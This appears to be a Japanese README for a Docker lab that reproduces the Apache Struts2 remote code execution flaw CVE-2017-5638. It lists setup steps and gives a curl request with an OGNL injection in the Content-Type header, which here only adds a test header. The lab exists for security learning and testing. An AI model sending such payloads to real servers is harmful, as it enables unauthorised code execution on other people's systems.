
このプロジェクトは、Apache Struts2 (CVE-2017-5638) におけるリモートコード実行 (RCE) の脆弱性を実演するものです。
攻撃者は、巧妙に細工された HTTP Content-Type ヘッダーを利用して、脆弱なサーバー上で任意のシステムコマンドを実行できます。
このリポジトリは、Vulhub Docker ラボを使用して、脆弱性を安全にテスト・理解できる環境を提供します。
1️⃣ このリポジトリをクローンする
git clone https://github.com/soufiane-benchahyd/vulhub-struts2.git
cd vulhub-struts2/struts2/s2-045
2️⃣ 脆弱なコンテナを起動する
docker compose up -d
3️⃣ コンテナが起動していることを確認する
docker ps
次のような表示が確認できるはずです:
CONTAINER ID IMAGE COMMAND STATUS PORTS
xxxxxxx vulhub/struts2:2.3.30 "/usr/local/bin/mvn-…" Up 0.0.0.0:8080->8080/tcp
4️⃣ Web インターフェースをテストする
ブラウザを開いて → http://<VM_IP>:8080
Struts2 アプリケーションのホームページが表示されるはずです。
VM IP の例:
192.168.56.101
⚠️ エクスプロイトは管理されたラボ環境でのみ行ってください。絶対に公開サーバーを攻撃しないでください。
脆弱なコンテナに対して、curl や Metasploit などのスクリプトやツールを使って RCE をテストできます。
例 (<command> をテストコマンドに置き換えてください):
curl -v -H "Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','test')}" http://<VM_IP>:8080/